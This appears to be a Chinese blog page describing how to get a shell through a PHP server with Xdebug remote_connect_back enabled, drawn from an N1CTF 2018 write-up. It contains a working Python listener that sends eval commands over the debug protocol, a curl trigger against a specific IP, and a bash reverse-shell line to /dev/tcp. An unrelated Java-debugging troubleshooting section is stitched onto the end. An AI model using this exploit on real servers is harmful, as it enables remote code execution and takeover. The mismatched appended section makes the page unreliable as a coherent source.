开放了XDEBUG时的利用方法

总结下利用条件,
1. 需要存在xdebug.remote_connect_back=On,并且没有设置xdebug.remote_host,使用$_SERVER['HTTP_X_FORWARDED_FOR']$_SERVER['REMOTE_ADDR']获取IP地址进行回连。这个选项适合多人开发调试使用。
2. 并且知道xdebug.remote_port所设定的端口,默认值为9000。

如果xdebug.remote_connect_back=On,其连接方式有些不同:
服务器IP和HTTP端口10.0.1.2:80
IDE所在机器是未知IP,所以 xdebug.remote_connect_back 设为1。
IDE侦听端口9000,因此 xdebug.remote_port 设为9000
HTTP请求开始, Xdebug通过HTTP头部获取IP地址。
Xdebug连接获取到的IP (10.0.1.42)于端口9000
调试运行,HTTP提供回应。
摘自:https://www.cnblogs.com/xiwang6428/p/5604102.html


呃 写完这些看到了Ricterz师傅的博客里的内容详细的多,https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
转自:
http://www.bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/
里面easy php题目的解法二:

rr师傅的解法,在phpinfo中不知道为啥看到remote_connect_back = Off,但是那个是php-cli的,而实际我下载下来的镜像跑起来看到的是开着的,即php-fpm实际是开着的,所以能够直接getshell。 这个点rr师傅在之前的whctf出过。关于这个利用的详情可以看rr师傅的博客

这里放一下代码: vps上运行:

#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
    client_data = conn.recv(1024)
    print(client_data)
    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
    conn.sendall('feature_get -i transaction_id -n feature_name\x00')

然后运行:curl ‘http://47.97.221.96:23333?XDEBUG_SESSION_START

发现代码那边收到信息了, 然后输入

system(‘bash -c “bash -i >& /dev/tcp/vps_ip/vps_port 0<&1 2>&1”’)
就拿到shell,flag在数据库的flag库里面。

### Java 调试器连接被拒绝的原因分析 当遇到 `connection refused` 错误,通常意味着目标机器上的调试端口未监听或防火墙阻止了连接请求。对于 Eclipse IDE 中的 Java 应用程序调试,确保以下几点: #### 配置 JVM 启动参数 为了使远程调试工作正常,在启动应用程序需添加特定的 JVM 参数来启用调试模式并指定监听端口。例如,可以使用如下命令行选项[^1]: ```bash -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ``` 这会告诉 JVM 打开 socket 连接方式,并在 5005 端口上等待来自客户端(即开发环境)的连接。 #### 检查防火墙设置 如果应用服务器位于不同的物理位置,则可能需要调整网络配置以允许通过所选端口号的数据传输。参照 PHP 的 XDebug 设置说明可知,除了内部网和虚拟专用网络外,其他情况下往往还需要修改防火墙规则以及安全软件策略以便让 xdebug 可以成功建立到本地机器 9000 端口的连接[^2]。同样道理适用于任何语言编写的 Web 应用程序及其对应的调试工具。 #### 使用正确的 IP 地址与主机名 确认正在使用的 IP 地址或主机名称是否正确无误。有开发者可能会错误地指定了 localhost 或者不恰当的地址作为目标地址,从而导致无法建立起有效的 TCP/IP 连接。 #### 测试连通性 利用简单的 telnet 命令测试源码所在计算机能否访问目的机上的相应端口是非常有帮助的做法。比如执行下面这条指令看看能不能顺利到达服务端开放出来的侦听接口: ```bash telnet <target-ip> 5005 ``` #### 查看日志文件 查看运行中的进程产生的日志记录有助于发现潜在的问题根源。特别是关于绑定失败的信息可以帮助定位具体原因。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值